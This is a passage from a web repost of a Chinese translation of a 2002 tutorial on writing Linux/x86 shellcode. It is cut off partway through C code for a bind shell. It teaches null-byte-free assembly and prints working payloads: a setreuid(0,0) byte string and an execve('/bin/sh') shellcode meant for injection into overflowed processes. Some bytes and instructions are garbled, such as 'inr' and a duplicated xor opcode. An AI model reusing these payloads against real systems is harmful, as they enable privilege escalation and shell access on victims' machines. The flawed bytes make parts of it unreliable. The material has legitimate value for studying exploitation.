分享
 
 
 

编写shellcodes 的方法

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

=============================================

作者 : pr1 ( pr10n@u-n-f.com )

翻译 : ICBM@0x557.org

非常感谢keji指出并改正了原文和翻译中出现的错误,THK u !

http://www.0x557.org

http://www.airarms.org

=============================================

-----------------------------------------------------------------------------------------------

Copyright (c) February 2002, Sebastian Hegenbart (a.k.a pr1) and UNF (United Net Frontier)

The following material is property of UNF && pr1.

Do not redistribute this article modified and give proper credit to UNF and pr1 if you

redistribute it or if you write your own article based upon the following material.

-----------------------------------------------------------------------------------------------

1.介绍

在网上并没有几篇好文章介绍怎样编写shellcode,而且很不幸,阅读它们需要有很丰富的汇编知识,所以在这篇文章里我会给大家介绍 Linux/x86汇编知识,并且讲解怎么为Linux/x86书写shellcode。但是,这篇文章中对于ASM的介绍并不完整,我只是讲到一些在对 于编写shellcode方面很重要的部分。我会很好的解释文章里出现过的代码,但是任何东西都代替不了一本好的ASM书籍和一个反编译器。:)

1.2. shellcode是什么

简单地说shellcode就是一组CPU指令。为什么叫做shellcode呢?是因为第一个shellcode只是简单的获得一个shell。 实际上这种功能已经非常原始了:)。因为已经有了远程的shellcode(有UDP也有TCP),破坏chroot的shellcode,给文件加一行 信息的shellcode,setreuid的shellcode等等...因为每个人都这样叫它shellcode所以我会在全文中使用 shellcode一词。

1.3. 我们用shellcode来做什么?

在我们接管了一个进程(希望是root运行的 suid|sgid|deamon)以后,我们通常会让它做一些有用的事情。这里有很多技术像return into libc,GOT overwrite addys,PLT infection,exploiting .dtors ... 如果你不能执行其它函数来完成你需要的任务(像重写函数指针, ...)你就可能需要使用到shellcode。或许只是简单的用某些缓冲地址来改写%eip,然后向后跳到一组NOPS指令中,你的CPU会从已经被改 写过的%eip中向前取址.当你已经编好了一个漏洞攻击程序,在你的输入缓冲区中填入shellcode当%eip指向到shellcode的开始处,它 就会被运行.这样你就赢了!

1.4 我要怎么写shellcode

好了,现在让我们进行这篇文章的主要部分.我现在假设你至少有一定的c语言知识.

=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=

2.汇编

ASM是一种低级编程语言。它甚至可以设定你CPU中的晶体管状态.一个IA-32 CPU有很多寄存器,访问这些寄存器要比直接访问内存快得多。你可以通过给寄存器赋值来告诉你的程序要做什么。最重要的寄存器有:%eax,%ebx,% ecx,%edx,%esp,%esi,%eip,%edi。所有32位CPU的寄存器都是4字节长。你可能认为这些寄存器的名字取得没有一点创意,但你 错了:

# %eax 是累加器。当有系统调用发生时内核会检查%eax中的值,这个值会被用作系统调用号(每个内核提供的系统调用都有它自己的系统调用号).你可以在/usr/include/asm/unistd.h中具体查找这些系统调用号。

# %ebx 是基址寄存器.我们传递给函数的第一个参数就被放在这个寄存器里面.

# %ecx 第二个参数.

# %edx 第三个参数.

# %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部.

# %ebp 是基址寄存器,它指向当前堆栈储存区域的底部.

# %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器)

# %esi and %edi是段寄存器(用它们可以在你的shellcode里存储用户数据)(译者:原文为%eip and %edi)

2.1 修改寄存器:

有很多命令可以用来修改寄存器.你可以通过给一条指令增加后缀来修改一个字节,一个字或者整个寄存器.

例如:movl,movb,movw (long,byte,word)

# mov ...mov指令用来把某值传送到一个寄存器中(数字或者另一个寄存器的内容...).在AT&T语法中(我会在整篇文章中使用这种语法)目标操作数在右边,原操作数在左边.

# inc,dec ...增加或者减少寄存器的值.

# xor ... 这是位运算操作(包括 not,or,and,xor和neg).

在处理shellcode时xor扮演了一个很特殊的角色.

在这里解释一下xor的基本操作:

1异或0为:1,0和0为:0,1和1为:0,因此 xor 4,4是0(100 xor 100 ==000);

#leal ...(表示读取一个long型的有效地址)你可以使用这个指令把一段内存的地址读取到寄存器中.

# int $0x80这是一个中断.简单地说是用来切换到内核模式然后让内核执行我们的函数.

# push,pop ...在堆栈上读取存储数据.

注意:你可以访问一个寄存器低端字中的高字节或者低字节(%al,%ah),一个寄存器中的低端字或者整个(扩展)寄存器(%eax).但是没有方法访问一个寄存器的高端字.

寄存器可以以字节方式(%al,%bh,...),字方式(%ax,%bx,...)和整个方式(%eax,%ebx,...)访问.

预备了这些知识后我可以写一些asm代码然后再写一些shellcode.

让我们用一个Hello, world开始:) (这是没有办法来代替的)

.data

message:

.string "Hello, world\n"

.globl main

main:

# write(int fd,char *message,ssize_t size);

movl $0x4,%eax # 把/usr/include/asm/unistd.h里定义的系统调用4放到%eax中

movl $0x1,%ebx # 标准输出文件描述符(stdout)

movl $message,%ecx # 把message的地址放到%ecx中

movl $0xc,%edx # message的长度

#exit(int returncode);

movl $0x1,%eax # 系统调用号1

xorl %ebx,%ebx # %ebx置零

inr $0x80

注意:这一段代码应为两个原因不能作为shellcode:

1. 不是绝对地址(因为定义了一个数据段)

2. 因为字符串中包含零字符会中断对于字符串的一般操作.

别着急!现在我就会解释制作shellcode的整个过程 ;)

=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=

3. 书写shellcode

3.1 Setreuid shellcode:

我们先从setreuid(0,0)这个小而简单的shellcode开始.

如果程序在有漏洞的函数执行前去掉了特权(通常使用一个seteuid(getuid()) ),我们就需要一个setreuid或者一个seteuid shellcode.

C代码看起来可能是这个样子:

#include <stdio.h>

main(void) {

setreuid(0,0);

exit(0);

}

080483b0 <main>:

80483b0: b8 46 00 00 00 movl $0x46,%eax

80483b5: bb 00 00 00 00 movl $0x0,%ebx

80483ba: b9 00 00 00 00 movl $0x0,%ecx

80483bf: cd 80 int $0x80

80483c1: 8d 76 00 lea 0x0(%esi),%esi

80483c4: 90 nop

80483c5: 90 nop

80483c6: 90 nop

80483c7: 90 nop

80483c8: 90 nop

80483c9: 90 nop

80483ca: 90 nop

80483cb: 90 nop

80483cc: 90 nop

80483cd: 90 nop

80483ce: 90 nop

80483cf: 90 nop

这就是由我们的编译器生成的整个主函数.但是我们只需要setreuid段:

80483b0: b8 46 00 00 00 movl $0x46,%eax

80483b5: bb 00 00 00 00 movl $0x0,%ebx

80483ba: b9 00 00 00 00 movl $0x0,%ecx

80483bf: cd 80 int $0x80

因此setreuid shellcode就是这样:

"\xb8\x46\x00\x00\x00"

"\xbb\x00\x00\x00\x00"

"\xb9\x00\x00\x00\x00"

"\xcd\x80"

如果你把上面这个shellcode整个看了一遍,你可能会注意到其中的NULL字节(\x00)比指令还多。但不幸的是我们不能在 shellcode中使用任何NULL。因为通常我们要溢出的是c程序,但是在c语言中没有字符串数据类型。而是使用一个字节长的指针(char *)指向内存中的一个字节,一个NULL出现在字符串的结尾。像strcpy,strcat这样的操作字符串的函数但遇到第一个NULL时会停止拷贝,以 为它们认为NULL就是字符串的结尾。

因此但我们溢出一个程序时,只有"\xb8\x46\"会被从我们的setreuid shellcode 中拷贝出来。

现在我们所要做的就是重写我们的汇编代码使我们的shellcode中没有NULL字节。就像你看到的这是包含NULL的函数:

80483b0: b8 46 00 00 00 movl $0x46,%eax

80483b5: bb 00 00 00 00 movl $0x0,%ebx

80483ba: b9 00 00 00 00 movl $0x0,%ecx

我们必须找到等同的不产生NULL字节的指令:

80483b0: b8 46 00 00 00 movl $0x46,%eax

这个指令被编码成[opcode|destination][4 byte immediate value]。因为我们的立即数只是0x46而操作类型long中的其它字节就没有被使用到。

我们可以写成:

80483c6: 31 c0 xorl %eax,%eax

80483c8: b0 46 movb $0x46,%al

xorl使%eax清零,因为当我们改变低8位的时候我们不能确定%eax是否为空。如果我们没有把寄存器清零当%ah中有其它数值的话内核可能会 执行错误的系统调用。movb指令被编码成[opcode|register][1 byte immediate value]格式,所以我们可以在一字节里使用到最大数255。

以下是逻辑上相等的但没有NULL的setreuid代码:

80483b0: 31 c0 xorl %eax,%eax

80483b2: 31 db xorl %ebx,%ebx

80483b4: 31 c9 xorl %ecx,%ecx

80483b6: b0 46 movb $0x46,%al

80483b8: cd 80 int $0x80

这是我们可以工作的shellcode:

"\x31\xc0"

"\x31\xdb"

"\x31\xdb"

"\xb0\x46"

"\xcd\x80"

除了没有NULL之外,一个好的shellcode应该尽可能小。shellcode越小可以放入缓存中的NOPs就越多,因此增加了猜中正确返回地址的机会。

3.2 Making your shellcode portable:

你可能不会知道远程系统太多的信息。或者你没有足够的权限来找出远程系统上的信息。或者你甚至还没有访问远程系统的权限。这样一些原因不要让你写出 shellcode只能适用于一种系统。因此在写shellcode时不要使用绝对地址,你需要的数据刚好在正确的地址的机会很小。通常写 shellcode时要使用相对地址。

e.g:我们不会写成:jmp 0x80483b8而我们写成:jmp $0x1a

3.3 获得shell的shellcode:

用c获得一个shell是这样的:

#include <stdio.h>

main(void) {

char *name[2];

name[0]="/bin/sh";

name[1]=NULL;

execve(name[0],name,NULL);

}

就像你所看到的,我们需要一个字符串( "/bin/sh" )让execve知道我们想要运行什么。但是我们必须找到引用"/bin/sh"的相对地址。

如果你了解一些关于Intel构架和通用CPU构架的知识,你就可能会知道要被执行的下一条指令的内存地址被存放在%eip中通常被叫做pc或者program counter。如果程序调用了一个子函数,子函数返回后将要执行的指令的地址一定会被存储到某个地方。

相关于一些Risc CPU这个地址可以像这样被存储的寄存器种:

jal addy,reg /* 跳转到addy然后把pc+4存储到reg */

jr reg /* 我们的子函数返回跳转到存储在reg中的addy */

对于我们的Intel Cisc:

call sub_func /* 跳到子函数然后把%eip+4压入堆栈 */

ret /* 函数跳回到堆栈上存储的地址 */

我们可以说下一条指令的地址被call压入堆栈中。

因此我们可以使用一个小窍门:

call some_offset /* 调用被压入堆栈的"/bin/sh" ( pc+4 )的地址 */

.string "/bin/sh"

注意到字符串"/bin/sh"位于.text ( 或者code )段。CPU不应该执行这段代码:"/bin/sh"(2f62696e2f7368)因为它只是我们需要的字符串,所以我们应该让CPU跳过执行这段代码。

让我们来看一个得到这个字符串"/bin/sh"的地址,并且能够避免执行这段代码"/bin/sh"(2f62696e2f7368)的完整的例子。

.globl main

main:

jmp to_call

after_jmp:

popl %esi /* 地址现在已经在%esi里了 */

/* 退出 */

xorl %eax,%eax

incl %eax

int $0x80

to_call:

call after_jmp (译者:原文为call offset)

.string "/bin/sh"

我们跳到call让它工作,然后返回,从堆栈pop出地址然后退出。

static char lnx_execve[]=

"\xeb\x1d" // jmp 0x1d /* 得到 "/bin/sh" 地址 */

"\x5b" // popl %ebx /* 出栈 "/bin/sh" 的地址 */

"\x31\xc0" // xorl %eax,%eax

"\x89\x5b\x08" // movl %ebx,0x8(%ebx) /* 把地址拷贝到 %ebx+0x8 */

"\x88\x43\x07" // movb %al,0x7(%ebx) /* 用NULL做字符串的结束符 */

"\x89\x43\x0c" // movl %eax,0xc(%ebx) /* 用NULL做参数的结束符 */

"\x8d\x4b\x08" // leal 0x8(%ebx),%ecx /* 把"/bin/sh的地址读到 %ecx */

"\x8d\x53\x0c" // leal 0xc(%ebx),%edx /* 把NULL读到 %edx */

"\xb0\x0b" // movb $0xb,%al /* 执行系统调用 */

"\xcd\x80" // int $0x80

"\x31\xc0" // xorl %eax,%eax /* 然后退出避免无限循环 */

"\x21\xd8" // andl %ebx,%eax

"\x40" // incl %eax

"\xcd\x80" // int $0x80

"\xe8\xde\xff\xff\xff" // call -0xde

"/bin/sh";

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

4.0 更高级的Shellcodes:

顾及到远程溢出我们需要其它种类的shellcode。我们不能只从远程获得一个shell。因此我们的shellcode需要网络能力。绑定一个shell到一个端口我们可以这样写:

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

main(void) {

char *exec[2];

int fd,fd2;

struct sockaddr_in addy;

addy.sin_addr.s_addr = INADDR_ANY;

addy.sin_port = htons(1337);

addy.sin_family = AF_INET;

exec[0]="/bin/sh";

exec[1]="sh";

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

bind(fd,&addy,sizeof(struct sockaddr_in));

listen(fd,1);

fd2 = accept(fd,NULL,0);

dup2(fd2,0);

dup2(fd2,1);

dup2(fd2,2);

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有